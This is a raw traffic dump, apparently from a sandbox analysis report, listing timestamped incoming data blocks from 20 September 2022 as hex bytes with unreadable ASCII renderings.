72 0c a6 87 4d 13 f9 43 a4 a3 1f 7f e8 e3 18 e8 8b e5 46 58 49 73 b9 05 13 3c a7 cc e5 16 4c f0 9c 31 97 5b 30 8d 97 2c 
98 3e a4 be 2e e9 a0 af ad 9b a9 af 3d 6f a9 86 55 a1 40 09 3e 00 25 68 6f e4 18 4e 36 57 8e de 40 09 18 81 dd 46 94 c0 
f3 24 a2 04 9e ef 9e 1b 68 4b e5 ee 02 25 69 59 82 12 0c 14 c1 11 3a 61 13 c1 a1 43 45 04 91 64 d9 d4 7e 0e 99 2b 0d 
76 c1 89 e7 19 8c bf f2 63 17 ea ea a9 d6 05 ee 3f 4e ec 19 0e 8f 7c b3 ea 36 20 8c a8 66 1c c6 b2 c7 41 d9 51 8b 3b 2f fb 
fd 4c 31 7b 1e 13 00 ca d0 29 f6 0a 58 b1 22 54 84 64 
Data Ascii: z+QNO0MfPz[oqohqLIKSlm}|F*0drMCFXIs<L1[0,>.=oU@>%hoN6W@F$hK%iY:aCEd~+vc?N|6 fAQ;/L1{)X"T
d

2022-09-20 10:10:08 UTC 5770 IN Data Raw: 8d 65 26 c4 04 68 60 26 8c f7 b3 99 30 ce cf 66 c2 18 3f 9b 09 a3 fd da 95 c8 27 8e 9f 05 63 04 e9 b0 22 0f 02 
97 b0 12 50 b4 e5 9f a4 2f 9c 0f fa c2 8d f7 c0 b9 3b 41 14 19 f6 21 94 39 07 95 61 f5 98 2b 1c 59 98 09 d6 8d f6 c1 98 3f 
07 df 9a 67 3d d4 07 e0 5f 4a 4b e5 58 3b d4 2e f5 04 8e 3d 29 99 e8 aa 14 6b 57 75 0b cb 02 5d a2 bd 4e ac d8 49 15 13 
92 23 c1 bb 0a 72 7b 1f 59 49 e1 36 cd 92 1e b2 a4 1d 4a 86 53 89 bb b0 ce 86 0e fa 5c f6 f5 4a ca b7 0d bf bb b0 ab 9d 
dc da fb ef e3 89 1d ea 94 e1 5f fc cd 69 b3 df 9c 82 3e f6 6f de f4 84 ac c2 39 b4 90 1d b8 47 cc 4a 88 73 97 8d f5 eb de 
50 f6 55 a4 01 5c 3d f8 78 a0 0c 11 ca b3 f2 49 bf 3c 5d 7e 74 08 4e a1 78 9e 25 39 31 55 35 e8 d5 34 9a 0e b6 a3 f1 60 
0b ec 76 94 6e 41 0c 09 fe f0 5a c7 18 6e 33 72 
Data Ascii: e&h`&0f?'c"P/;A!9a+Y?g=_JKX;.=)kWu]NI#r{YI6JS\J_i>o9GJsPU\=xI<]~tNx%91U54`vnAZn3r

2022-09-20 10:10:08 UTC 5778 IN Data Raw: db 50 fe 96 3d 14 54 ad 92 06 8f 43 e1 c2 78 1f 6d 65 7a 95 54 af 13 7f 59 b2 8e 90 e9 5f 75 ba 6d 4f 6e 4b b5 
b1 ca 2e a9 b0 dd 76 87 b2 b5 d4 67 5e 9f 79 ec 61 4f 76 9a b2 c1 bf 6a 59 37 be e9 92 2a 8f 3b 7c 21 84 8f c3 21 6f 76 
26 ac c8 86 09 c2 d7 87 a3 0a 02 a2 46 9c 3c 5c b7 6f 74 4e ab ad 7c 2b 17 0a 5b 6d 76 5a 96 a9 f8 41 dc 6a 1b 8a 6f 31 
ea 06 93 fd 45 2e 95 76 d6 6a f2 0f 31 fa 26 7d 93 37 a5 25 73 23 6f d2 ff 20 99 49 0f c9 21 79 55 0c ee a8 72 78 c5 f7 47 
82 8e c2 82 90 1d 9d 40 2e 20 c8 5f 5e 61 90 c7 71 c8 ce ec 0c e3 81 61 15 de 28 03 bc 8f 0c f0 66 12 bc a5 00 ef 0c 5e 
b1 89 3c b1 ff dd b8 45 b9 d8 d3 31 67 23 e3 de 61 8a 8c 7b 22 e1 2e 24 dc dd 00 f7 02 8e db 29 8d 01 21 08 67 cc 3c 03 
b0 5a 03 b0 b9 04 ac b6 9d 01 4b 37 a9 2c a7 88 eb 
Data Ascii: P=TCxmezTY_umOnK.vg^yaOvjY7*;|!!ov&F<\otN|+[mvZAjo1E.vj1&}7%s#o I!yUrxG@. _^aqa(f^<E1g#a
{".$)!g<ZK7,
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2022-09-20 10:10:08 UTC 5786 IN Data Raw: 82 5a b5 25 b8 a0 6a fc 30 7c c5 18 46 94 22 70 b8 ac 21 90 39 53 a3 81 8d 7c 1c b6 f9 20 05 70 29 e7 c3 b4 
05 31 f5 7c e8 4f 0c c4 c3 d5 df 73 6c 6b 91 b6 b1 18 18 c9 c7 04 1c 2f 5e a4 e3 f2 3d 1f 56 71 90 3d 58 c6 f3 a1 26 8c 71 
6e 5b b9 ff 3d 4d 40 47 36 9b 05 64 a9 35 93 7f 9a c9 ef fb be 10 50 ee e6 ce c2 1e b9 7e 60 fe cb 0f 4c 1b 83 69 d8 08 eb 
7f f1 b0 f2 c3 68 98 b0 6a 58 e7 ab 6d a5 64 b6 96 d2 87 35 9f 34 02 03 e9 5f 43 d0 16 d6 bd a8 bd b9 df c1 af 3a 58 eb 
41 35 96 b2 b6 2e 50 d7 22 59 3b 9a a9 f4 34 d0 68 6c 44 de 5d b6 75 ca d0 06 ac 70 7c 27 9d c9 d4 07 d6 95 d2 a5 4a 
e4 c6 ce 0e 3e 31 60 60 f9 c0 12 41 f5 ff d6 23 88 91 d6 0a 5b 11 60 fb ef 23 fa 9c 37 f1 12 80 bc b2 04 c3 9d 6b e1 7d f7 
38 af 31 dc f9 c5 64 74 8c cf c0 5a 15 52 c0 29 2c 
Data Ascii: Z%j0|F"p!9S| p)1|Oslk/^=Vq=X&qn[=M@G6d5P~`LihjXmd54_C:XA5.P"Y;4hlD]up|'J>1``A#[`#7k}81dtZR),

2022-09-20 10:10:08 UTC 5794 IN Data Raw: 34 3a 60 d2 c4 b2 11 84 8c b8 a8 c8 0b cf 1e f4 9d e6 fa aa 65 2c 84 db 4a ba de 09 e3 96 a8 6e 47 ba 36 a2 
4b 46 07 5e 28 51 fe 67 2c 40 b2 ec 6c d3 60 1d c5 b1 b6 62 03 86 16 47 38 b7 dc 45 16 39 ed cd 0c d7 e6 90 8d c7 fc 8e 
94 96 78 51 32 56 3e e2 fd da cd 5e 62 60 d9 46 dc 7f e5 aa 4f 6c 42 0b ef d0 1c e1 36 e0 3a 78 25 fe 0e 5d 13 8d bc f8 
8e 1d 5d 74 2b eb 01 6c bb 25 ee 57 1f 5d 84 d4 9d 29 3c 3c a2 bd 51 db 9c 02 d6 20 c1 5e 0b de 1b 5c 8b 6e cf 28 7a c1 
22 c2 d6 f4 63 e0 3b f3 a6 89 4a 11 ac 05 8b c5 69 86 3c fd 02 f1 f4 ca 3d ed aa 0e e3 4a a7 0b 6b c1 3a 88 cc d4 12 38 
25 4d 45 60 cd 52 64 8f d2 b6 de ee 68 c2 0b f9 ad 8f 6d c3 58 2c c9 76 fe 2a 4f 98 0c 45 23 36 e4 1c 38 96 3b b3 cb 42 
ac 3b d7 60 0e 42 a9 81 5d 3e 2b 4d 7b 14 ec e6 2b 13 3e 
Data Ascii: 4:`e,JnG6KF^(Qg,@l`bG8E9xQ2V>^b`FOlB6:x%]]t+l%W])<<Q ^\n(z"c;Ji<=Jk:8%ME`RdhmX,v*OE#68;B
;`B]>+M{+>

2022-09-20 10:10:08 UTC 5801 IN Data Raw: 88 9f 7c 2e e2 bb f8 b0 41 a8 c6 60 b9 34 3c 96 2a 40 75 5e ee 61 3a f9 4f a0 54 fd ec 13 db 59 87 85 d4 87 d1 
d3 6a 70 fc 16 95 ed b6 12 fa 32 5e 22 11 5e 22 3a 2f 91 32 97 20 f4 ff 4c d5 e9 ba 2e 1f 68 31 32 9c d2 7b b5 c9 c9 36 
73 3e 3c 25 81 5f bb 8b 00 ce 22 64 ca 29 b4 fb c9 18 df 62 17 93 54 f8 71 27 d9 25 48 7e 7c 11 3d 3b e3 db fc 9b 54 6b 
9b 1f b6 b5 f9 5b 6e 73 dd 10 d1 e6 f1 46 9b e1 d5 90 34 38 5e 8d 5c d5 1c 0f 35 c3 06 75 85 0d ea 29 86 7a 1b 40 dd 33 
4c a7 a0 81 a6 1e e9 a1 13 31 55 8f 84 46 5e f9 63 7b 62 57 c7 ae 75 38 16 8d 30 f0 02 a8 fb b0 8f ef 3d a3 17 4b 87 99 
f1 92 c4 6b 7f bd 4f 55 e2 ee 1c 6a 09 37 19 6e 28 f2 71 4a 2b aa 10 d3 69 5a 03 bb 76 92 e6 52 3d 9f db 2e fa a0 3f d4 
04 0c 91 80 5a a1 ca 74 ab 87 1f 51 23 0b 09 a8 a0 fc 
Data Ascii: |.A`4<*@u^a:OTYjp2^"^":/2 L.h12{6s><%_"d)bTq'%H~|=;Tk[nsF48^\5u)z@3L1UF^c{bWu80=KkOUj7n(
qJ+iZvR=.?ZtQ#

2022-09-20 10:10:08 UTC 5809 IN Data Raw: 5e d1 ff 53 44 ff 9b 88 fe 3b d5 65 6d ec 0e 03 e2 b5 b9 c3 1c 30 ae a8 c3 9d 3d 63 08 2c c1 8e df a7 c2 ea d2 
b8 a6 f9 a2 76 e3 e6 0c c3 d3 65 a0 62 13 0a f5 ab 42 c1 3d fb c9 8d cb e1 bd d5 f6 b4 c5 7b 4b ba d2 b1 f7 66 8a 25 0e 
38 47 e3 85 6d f5 05 dd 14 b2 bc d7 ea e5 f5 bb 05 b6 8b 64 6d 96 cf ff 51 31 81 a8 ca 9a e9 44 f8 f8 bf 18 17 22 96 9f 6a 
f8 dd 23 2b d8 e1 08 18 71 91 aa 9b 4d 32 26 4b 57 f7 c5 87 c7 d8 d5 3d 07 2f 53 b5 da 6c bc 4c 13 f3 22 5e a6 6b b5 99 
78 99 a5 d5 2e c0 4b 9a 98 17 0f db ec 2b 6a 97 1d 56 be ef 85 c6 5b b1 f1 16 12 6f 64 bb 5f dd 45 df d1 15 1b d2 63 05 
1e 1e b5 35 5f 52 e4 a5 4e a3 f8 72 e3 ad ee 4b f5 b6 d2 48 2b 3d ac e2 e0 a2 32 cb 75 d7 48 70 09 b2 f2 5c 9b 9d dc a6 
4f 61 72 4b 93 e4 36 e5 04 26 b7 cf 5b 05 b9 ad 6c 
Data Ascii: ^SD;em0=c,vebB={Kf%8GmdmQ1D"j#+qM2&KW=/SlL"^kx.K+jV[od_Ec5_RNrKH+=2uHp\OarK6&[l

2022-09-20 10:10:08 UTC 5817 IN Data Raw: b6 e4 08 01 ff 52 fe 8f af 70 4b fe ad b5 25 2f 34 91 dd 40 c8 6e 40 64 a1 2d b4 1b 20 98 32 04 53 66 82 39 ff 
0e 9d df e5 19 58 9c b1 1b 67 f8 10 67 b1 87 c7 0a e5 66 85 38 6c b7 fc 5b 65 0f 0f bf ad 3a 73 f9 78 16 18 ce 99 56 36 c5 
2d bd 49 7c 91 1f 3a 02 55 19 01 be 3c 42 3c d3 7c 9a 61 c8 70 1f 28 1d 41 29 bb f8 0e bb 26 d5 4e a2 2e c6 31 9d 44 dd 
5f 59 93 fa f5 ed 42 93 ea 58 0d ee 74 80 84 44 87 f4 a9 7e 4c cf 8a f3 9b 42 39 f0 57 41 77 f8 6c d2 7d 03 ba 9c 37 44 46 
a1 7a b5 1d 85 40 18 0a a7 18 85 e3 b7 09 14 6e 46 14 30 f3 69 64 d5 70 49 18 b4 bf 84 41 fb 86 a1 55 01 b4 e1 ab bb 
25 5e 62 fd 23 b0 98 c1 2d 9e 5e c8 59 ee c7 67 e2 04 e8 96 93 7a 97 8e 04 70 6d 8b a1 40 50 28 42 99 df 7e e6 e5 22 
73 fa c0 46 d6 43 0b 64 e6 b7 1f 84 c6 a4 3f 50 a8 73 
Data Ascii: RpK%/4@n@d- 2Sf9Xggf8l[e:sxV6-I|:U<B<|ap(A)&N.1D_YBXtD~LB9WAwl}7DFz@nF0idpIAU%^b#-^Ygzpm
@P(B~"sFCd?Ps

2022-09-20 10:10:08 UTC 5825 IN Data Raw: 71 3d 2b 1d 55 3c 94 4c b8 1b 48 c1 7a 09 50 af 56 a9 d7 35 54 89 5e 65 cb 7c 0b 44 af d6 aa 26 ec 7d 70 71 
01 b9 f1 c0 46 85 4b 5f c7 52 1f 27 d4 7e ae 01 1a d0 14 ca ab a2 1e aa c2 2c 98 8e 4a 32 6b f4 3b 10 c0 ac a1 c8 3a e4 
79 d8 e0 39 fa 20 8e dd 07 35 9a e8 1b 84 f8 67 82 c8 10 ae 3b 18 00 03 eb 76 4e 6f 31 16 5f 36 c7 a2 43 cd ff d9 46 46 
07 eb 35 a2 d3 2c e8 de df 8b 23 4f 49 98 91 47 10 19 42 dd 01 42 07 f7 51 28 81 fe ab 5d 4a a0 7f 95 58 7c 95 05 f2 6e 
97 7a 4e a9 bb 34 60 5b 16 d7 c1 88 6a 35 bf 41 b4 b7 e2 1b 1f 95 78 d5 f1 73 47 5b ef 8b 24 8a 98 47 00 54 1b 6a 13 38 
6c 6f 9f 86 da c4 42 0c 2f c5 ee ad 07 cf 77 d6 cd c1 54 e0 08 60 6d 4c 29 30 8a 6a 0f c6 58 67 3b 94 fc a7 52 7b b8 28 
1e 2f c0 1a 9a fb 3d c3 da a3 ba 6f 96 21 d4 77 7c a5 1b 
Data Ascii: q=+U<LHzPV5T^e|D&}pqFK_R'~,J2k;:y9 5g;vNo1_6CFF5,#OIGBBQ(]JX|nzN4`[j5AxsG[$GTj8loB/wT`mL
)0jXg;R{(/=o!w|

2022-09-20 10:10:09 UTC 5833 IN Data Raw: 80 11 e1 6f 15 3e 62 54 4e 2c b6 67 6b d7 1c df 81 ff d8 8d fc 48 dc 59 e9 00 5b 92 a2 48 f2 88 53 3c a3 dc 2a 
cf 0e 90 ae 93 0e 62 84 5f e4 cf 96 5d 21 f9 b3 15 56 d4 86 4e 4c a9 e1 df 03 04 98 33 11 77 53 53 54 89 f5 eb 27 b6 6d 
f7 7f 71 0c 99 4b 2f 26 3e 98 a6 89 09 c7 75 f0 d3 94 0f 7c 8a 06 f7 c4 1d fa 23 80 a2 37 83 e6 9a a0 cc 5a 78 10 90 27 
6b 79 85 c1 f4 b7 2d 90 40 2b 70 b5 2c 2f d3 8f e1 32 1a c3 2c c2 76 26 8d 61 54 29 1b c3 05 65 e0 c7 96 1f 04 cc 02 03 
98 77 0d 60 52 08 cc ce ed 0c 4c 7c 19 d8 0e 0a 99 e4 e1 82 0f 6e ad 8f 83 e8 72 78 6c 00 09 31 b2 1d d8 c9 7c dd f6 bf 
27 54 71 f4 20 33 c1 9b 15 fc bc 22 cf 15 c3 97 d0 b7 c3 c4 12 9a 85 e9 bf b6 98 ec 37 88 bc 60 56 08 73 e9 80 c4 21 3c 
ef 98 6e b7 dc de 9d bc 91 21 81 97 d4 a4 cd 07 a6 e1 
Data Ascii: o>bTN,gkHY[HS<*b_]!VNL3wSST'mqK/&>u|#7Zx'ky-@+p,/2,v&aT)ew`RL|nrxl1|'Tq 3"7`Vs!<n!

2022-09-20 10:10:09 UTC 5841 IN Data Raw: 01 2e 4c 9c 9d a5 ad c6 5b f4 b7 53 4c d7 50 60 d5 87 41 fb 1f b9 ee 8c 07 84 c6 56 60 92 bb d7 0f 57 36 87 
70 9e db eb e9 9f 06 fa a7 91 b4 ed 1d 7a 1d 64 9e e8 74 a9 62 a9 5e 69 70 4c 22 a5 21 77 1a 29 0d 43 58 69 38 9e 2f 94 
86 99 4b c9 96 2a 18 cc 4c 03 98 c7 0d 60 ee 62 30 5b 01 cc 8d a2 b2 54 d9 4f 0a a0 e5 13 24 80 7d d1 63 3f ec c9 f6 79 
ed 1f bd e8 d9 3f 2c ef b0 e7 a8 a7 61 98 d8 9f b0 83 a7 cd dd 0f fc 64 bf c1 5d 40 83 07 2e 9e 0e 83 ff 27 78 64 f8 f0 61 
9b 37 af da eb dc e6 69 eb 06 c1 d8 7f 57 01 a3 cb 63 17 fc 38 80 aa ef 4a 80 9c 22 70 34 f4 b2 fb 0a 83 7e ce 82 9f bd 53
0e 7b f3 7c 03 0f dd fc bd d8 bd 78 b2 31 91 ef aa a0 aa 03 e1 34 e2 1d 3b e6 8c 6c 14 0f 87 4a 63 3a 89 bd ca b9 85 87 
ac 5f 79 3e 13 15 3d 42 c3 c7 bf 98 d0 f7 5c 03 76 
Data Ascii: .L[SLP`AV`W6pzdtb^ipL"!w)CXi8/K*L`b0[TO$}c?y?,ad]@.'xda7iWc8J"p4~S{|x14;lJc:_y>=B\v

2022-09-20 10:10:09 UTC 5848 IN Data Raw: 70 ac bf 78 03 f7 dd dc 8c fa f8 44 9a b1 c3 aa 22 94 33 47 28 ac d3 68 15 27 9c 9c d9 77 05 d8 67 96 f2 ae be 
42 93 f3 ab 96 6c 72 0e ba 4b de 1c d2 a6 de 27 93 73 bb cc a2 b5 b7 34 30 7b fa 9e 67 43 b7 8f f6 fa f4 20 3e 08 3d 5f 
25 70 7d 7e 05 1d 07 da b8 af 6b 40 c3 ff fe 38 5e cb 58 0a 1b 9b a6 0d e6 0f cf 2a 0f eb b4 4e fc e1 f8 1f f4 87 14 c9 2a 
ee 65 90 27 e0 88 a1 25 13 01 21 e0 9a a8 b4 a5 c7 41 f5 9c 64 72 6c e2 db 6f c2 e5 9f 49 33 e0 4f 5d bf f8 fa b4 6a 49 
34 a4 62 a4 29 6a ca fc 90 93 5c 6b 40 d3 e5 8f f8 7e 16 7b 10 c7 ff 52 5a 3e 80 2d 85 91 f3 a0 ea 18 e4 04 a2 c6 f2 e6 
4b 15 4a ab 7b e9 e9 81 39 17 15 2c 61 7e c7 d4 8e d3 8d 3b 66 ad 8e 61 c7 c6 18 a7 cc df 67 d1 31 2c 8d e6 8f 34 65 5e 
8d 62 53 a6 69 0c 3f 6c 11 c4 3d e3 c7 8c b3 36 95 
Data Ascii: pxD"3G(h'wgBlrK's40{gC >=_%p}~k@8^X*N*e'%!AdrloI3O]jI4b)j\k@~{RZ>-KJ{9,a~;fag1,4e^bSi?l=6

Timestamp
kBytes
transferred

Direction Data
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2022-09-20 10:10:09 UTC 5856 IN Data Raw: b6 e8 13 4c fa 0a ae bd 98 b2 0b 21 81 92 91 bb 96 de b1 77 d5 50 7e c5 b4 1d 4c 2c 96 1c 48 c2 76 19 d6 f7 
14 6c 97 66 1c 71 a4 c5 0a 97 83 c2 d9 67 c1 6e 5c 63 c9 99 6a f0 4a 8b 40 05 4a 0b 33 35 5b 79 36 28 a8 b9 80 5e d9 
53 fa bd 38 43 5e 7e 58 37 b2 a9 d0 6c 68 c9 fb 00 8d e0 84 68 14 7a 7e 5d e1 f9 6d 19 04 cb 8a cd 2e 79 d3 3d bf d5 85 
73 e3 9e f0 27 d2 33 69 4c ae eb cd c7 e4 5f bb d8 98 3c be 07 5d 0d c9 b7 fe b6 ae 83 a6 8f 7f 5f 1c 39 42 44 8b 5f a6 
ab 38 dd 97 e9 66 cf f5 cd 3d bc 4b 8e ad 02 1a 73 ef 52 53 49 7f 37 a0 e7 85 27 c1 30 6d c2 33 4a 74 a8 aa c9 12 fe 25 
bc b8 eb 0b 72 95 ec 34 e1 bf 16 f7 08 1e 05 ab 39 cf 5f 81 ce 4c 1f 3e 0b 6b 9b 0f 13 de b5 70 f8 2a d0 bb c6 c6 61 74 19 
71 99 2f 06 34 66 15 cb a2 12 09 24 96 85 cf a5 e5 ab 5c 
Data Ascii: L!wP~L,Hvlfqgn\cjJ@J35[y6(^S8C^~X7lhhz~]m.y=s'3iL_<]_9BD_8f=KsRSI7'0m3Jt%r49_L>kp*atq/4f$\

2022-09-20 10:10:09 UTC 5864 IN Data Raw: 25 59 e4 d3 2e 78 5c 25 3e a0 24 45 8a c4 ee 0c 92 5e bd 3e b2 ad 24 80 92 df 3e 0f af 5d 9f 68 4d 28 4f 8f e5 
e5 b4 a1 e6 94 12 21 b0 bb 23 25 9f 8b c2 34 98 3e f0 66 72 34 2f 5d 52 d0 6c 8d 86 80 2d e4 ae 83 54 2c 4d e8 1e d5 cc 
db c5 11 6d a2 11 76 fb f4 a5 20 ea 20 a2 9d 2e cb 29 4b a0 e6 56 a3 7a 96 07 71 93 b0 8c 47 23 e2 21 b3 17 0e 2e 20 
06 a7 99 bd d9 23 c2 25 92 e4 96 93 4c 00 01 00 69 f5 33 d2 ce d6 dd 0a a6 4c 82 b3 29 a3 bf 5a 00 25 d3 d7 72 24 d7 
07 8a d6 81 59 f9 45 5f 40 ca fe 93 2f a0 01 e7 77 80 3d 45 2e 5f 99 9e 1b c4 04 af 25 b4 81 09 bc 0c 2d 13 37 fc 7b 0d 
30 fc 94 5a 18 a0 7e 48 8b f9 2e 03 cc cf 6d 66 98 1f 7a 11 30 67 50 1a 4a 90 d0 46 dd 54 03 bb b1 75 f4 c3 11 f1 31 40 
65 f8 8b 6d 23 a2 2a 1d f3 c3 c3 d5 4c d9 2f 1c 19 e1 60 5f 
Data Ascii: %Y.x\%>$E^>$>]hM(O!#%4>fr4/]Rl-T,Mmv  .)KVzqG#!. #%Li3L)Z%r$YE_@/w=E._%-7{0Z~H.mfz0gPJFT
u1@em#*L/`_

2022-09-20 10:10:09 UTC 5872 IN Data Raw: 6d 0e d9 48 e1 70 e7 61 a7 ad 2b e3 5d 5b 17 bc bf e4 7d 40 fa a8 66 e1 2e 74 1c fa ab b0 8e 76 28 73 f7 d4 
5e 9e f3 77 13 b1 66 12 52 b8 ee d7 47 63 50 df c3 8e 92 ae a4 c2 09 70 99 00 47 36 ee 0e 93 8b d5 40 5e 2b 76 d1 da 5f 
37 e3 a9 12 bd df a8 be 2f c0 af ed 59 bc ce 32 9e 91 69 9d 3b 8c c0 7a 1e 7f fe 25 77 37 ed a7 e7 0c 74 51 91 3f f8 5e 18 
1f 5f 93 49 be aa ed ce cc 21 ca da 0b f7 23 54 fd 93 39 e5 8e ee 33 70 28 09 9c 81 b9 2b 80 36 89 1c 21 7b d8 08 23 e7 
9d a5 47 c8 61 42 c4 d6 87 5e 23 84 7c 19 27 bf 8b 52 18 42 fe 74 0c 21 e4 fa 2b 6f 32 29 22 0f 2d 1a 4e 2c 39 7c 58 18 
8b a9 f9 07 d1 ac cb 85 29 72 76 9a 2b 5c 24 94 62 f8 18 4c 92 33 44 4c 19 bf cf 28 a6 c4 0f bc ac b2 d4 58 43 e4 ea 54 
10 81 da 99 04 03 ab 35 24 0e 32 8e 32 67 8c 7e 94 83 
Data Ascii: mHpa+][}@f.tv(s^wfRGcPpG6@^+v_7/Y2i;z%w7tQ?^_I!#T93p(+6!{#GaB^#|'RBt!+o2)"-N,9|X)rv+\$bL
3DL(XCT5$22g~

2022-09-20 10:10:09 UTC 5880 IN Data Raw: 70 2e 07 77 fc 55 3b 63 c2 bb 15 2e d4 c7 c1 0b 6c bc e8 23 93 44 2a a2 04 8a 11 fc 28 00 6b e6 9c 51 01 ea 
a1 2e 97 fb 19 12 77 6c 40 72 79 95 7f d1 de f1 bc f3 21 94 26 9e 92 99 8d 9e cb 6f c7 82 83 75 31 fb 7d 43 19 55 f0 94 cd 
48 f1 db b9 e9 06 8f e1 9e be ac 99 6e 72 a9 6c d0 05 d4 cc 1e e0 de da 50 d2 ee 47 ba 71 41 b3 eb 1c ab f6 b6 eb 24 36 
82 c7 6c c1 ae f3 dc 25 97 d1 ae 73 6c a8 60 a8 5b cb ed 3a 71 eb 7d db 75 c2 ff 49 76 9d ed 60 d7 e1 ca 42 9e b2 16 db 
db d1 ae 63 28 ed cf 87 8b 06 65 cb 5c be 42 77 df e5 77 ac 0b 13 d4 f6 43 7f 76 1d 55 a5 f5 5e 73 63 f2 cc b5 9c 95 d4 
91 ee e4 45 b9 3a 97 ad b9 96 79 aa 2d e4 9b cb da 9d c6 c3 90 80 a2 cc 96 74 80 01 7c ef b5 7a f0 2f 12 f8 fe 00 3e 7f 
0b 9e 38 32 50 26 a9 18 7a 2f fe 3f f6 30 71 8b 79 0f 
Data Ascii: p.wU;c.l#D*(kQ.wl@ry!&ou1}CUHnrlPGqA$6l%sl`[:q}uIv`Bc(e\BwwCvU^scE:y-t|z/>82P&z/?0qy

2022-09-20 10:10:09 UTC 5887 IN Data Raw: d1 f0 ac 07 6d 8a f1 f6 2d de b8 97 9f 3a 3c df 5e d4 88 4d 41 df 4c 45 ec 35 f9 41 56 34 ca f9 1f 47 df 5a 24 0a 
e5 f1 ab 30 60 ed 07 2b 8d 59 7b 83 18 22 d2 9b 34 2d 67 0c 59 b5 12 18 62 70 98 c6 0b 7d 71 1f 53 97 26 e6 4a 4d fc 59 
6a e2 00 35 b1 13 9a f0 5e a9 f1 1b 45 86 6f be 29 51 bf 39 4a 43 7d 87 3c a9 79 22 47 77 7d a2 f0 01 e3 3e 11 f2 25 c7 
4f d4 9d fb ed 7e f0 7f 79 40 d4 9b 92 b2 6a 0e 6e 21 e7 4a bb 51 1b 71 52 1b cf 49 6d 7c 47 6d 6c 87 36 3c b0 0d 4c 92 
73 85 a7 ff 97 22 61 9e 6a 91 b3 48 f6 e1 91 5a 43 a3 cd 15 29 50 f9 91 fa 9f a6 16 8e 2e 80 65 46 e4 ad b1 d0 78 52 7e 
76 85 71 df 89 25 a2 ea 88 a8 4f 97 31 a2 22 d9 c3 e9 eb 2b bc 02 5e 91 c1 44 4a 60 36 4b 60 ea 09 cc 33 00 a6 26 d1 
e6 04 6f 6e 3c 12 33 92 83 ed a6 7a ae 4b d4 df 27 22 
Data Ascii: m-:<^MALE5AV4GZ$0`+Y{"4-gYbp}qS&JMYj5^Eo)Q9JC}<y"Gw}>%O~y@jn!JQqRIm|Gml6<Ls"ajHZC)P.eFxR
~vq%O1"+^DJ`6K`3&on<3zK'"

2022-09-20 10:10:09 UTC 5895 IN Data Raw: 57 b4 75 88 ae 5a 02 df a1 64 96 1e 65 94 17 99 20 98 72 21 e4 6e 42 4e a4 b4 7d dd b1 b0 a6 25 cc 09 fb ea 
36 3f ec 66 86 d0 cf 55 b7 fb 65 93 4f 36 17 52 8a 74 3c fa 5e f2 96 c3 e0 45 2b c2 13 67 2d 7c 5d 8b 2f 84 a8 5c d5 7a 35 
7e f7 2f 33 5b 2d 6b 15 25 73 e0 04 c7 e7 b7 16 2e a6 63 e1 40 58 1a dd 2a 9a 01 7a 74 2b 63 69 0b 30 77 11 98 8f 00 4c 
bb 56 3c 73 c0 20 a5 78 80 72 3f 56 e6 fd 81 1f 30 f0 ba 63 a4 31 6f 83 b6 c0 9e 6a e1 ff c3 ae 1b 5d d1 9d 71 c6 5e ea 21 
44 d4 10 22 ea fb ab 8c a8 cc 38 08 6e 56 23 19 f4 f3 e8 70 28 80 6a a3 7b 2f ac 17 85 4e e1 57 e9 2a 74 a7 76 07 85 8d 
c1 a5 0a c2 e2 fb 36 6b e4 58 1c 7b 79 58 9f 4a 3e d3 a7 f7 0e 1a 1d 85 a4 40 7b b0 52 5b 5d a1 8f ef 46 d9 e1 30 1b af 
ea e3 88 1d 53 89 1d 5f 5f 61 ec b8 cb ac 3e 0c 90 
Data Ascii: WuZde r!nBN}%6?fUeO6Rt<^E+g-|]/\z5~/3[-k%s.c@X*zt+ci0wLV<s xr?V0c1oj]q^!D"8nV#p(j{/NW*tv
6kX{yXJ>@{R[]F0S__a>

2022-09-20 10:10:09 UTC 5903 IN Data Raw: 7f 70 56 65 b0 59 05 bd 48 86 0a 36 fb 09 be b6 01 e4 24 03 61 7f 65 e3 0a ec c2 b9 67 61 06 e1 6b bd 3f 6d 
56 fe 82 c7 8a 0c 94 57 d3 fc 08 ee 33 cd 4a 4a 6b af f9 0b e8 fb 9f 3f 6f 56 20 7d 66 3d a6 cf f4 62 fa 4c 1f a6 cf fc 0e b5 
fa 2d 6c 80 f1 50 f8 24 15 08 ff 0f 2f e0 c6 02 15 58 a0 0a 0b 54 63 be cd 1a cc b7 79 12 f3 6d d6 62 be cd 3a 36 39 10 02 
03 29 d2 51 07 25 c2 6c b6 c6 b3 63 e3 72 6c 19 07 c1 c5 89 2c 33 6e 25 03 1d 3f b3 49 85 8a 6b fa 7f ae 48 b3 66 89 0f 
a3 ea ff ca b6 97 1d 1d f6 ba c5 53 14 51 1a e1 11 9f 11 19 d2 88 06 5b 8c eb ef 7c 1a 1b d5 8b 16 0a dd 83 c5 4a a4 62 
51 16 e3 44 2a 86 62 fb fd 14 6d 1d 78 15 aa 1d cb 29 6a 91 e8 2d bd e4 81 13 a6 17 64 98 84 e8 08 26 d9 f3 78 47 1d cc 
b8 e7 58 25 4d 13 39 64 0d 1c 9e 13 ba 3a e3 dc 
Data Ascii: pVeYH6$aegak?mVW3JJk?oV }f=bL-lP$/XTcymb:69)Q%lcrl,3n%?IkHfSQ[|JbQD*bmx)j-d&xGX%M9d:

2022-09-20 10:10:09 UTC 5911 IN Data Raw: f8 da eb 9a 0c 12 23 f7 15 17 15 15 7d db fc de d7 9d cd 37 1d d6 6e 7a 0e 6e c2 8e cd d7 fd 35 d2 6c 0d 7d 
54 5c e7 29 44 02 0b 93 f1 ea 64 43 25 f5 fe 5f 40 25 95 ac a8 a4 90 08 f4 02 76 7b 12 59 bd c9 69 40 ec 67 19 79 19 50 
10 dd db 7f 8d 40 3e 82 c8 f8 7c 50 1f a8 04 8d 36 94 a0 b1 ac 38 db f3 3d e5 8d 00 cb 84 15 d5 51 9a 58 74 a0 67 90 ea 
14 bc 3a c5 a0 ba 1b 52 9d a2 50 0d 48 9e 92 04 05 4f 3f 52 3e 24 44 c1 62 7c 8c dc 78 9d 9b 3e 7b 80 f3 c5 db 1d 95 9b 
05 30 2e 99 d8 b6 30 9b 29 4f cb 41 2f 92 e9 c0 1e a5 1d b3 07 7a 91 c4 dd 26 de e4 88 6e 8a 06 a2 bd e9 cf 40 f9 44 83 
f2 93 b7 a1 2b 4c 36 4f 97 27 ed 79 7c 5f 16 36 f1 ec 78 b2 9e 97 03 ea a1 99 e3 77 5e db 64 74 83 8a 3f fa 8b 6d 6d 75 
d0 4d aa 36 41 1d 9d b8 d3 fb 04 a7 07 ff e2 5e 04 6a c4 
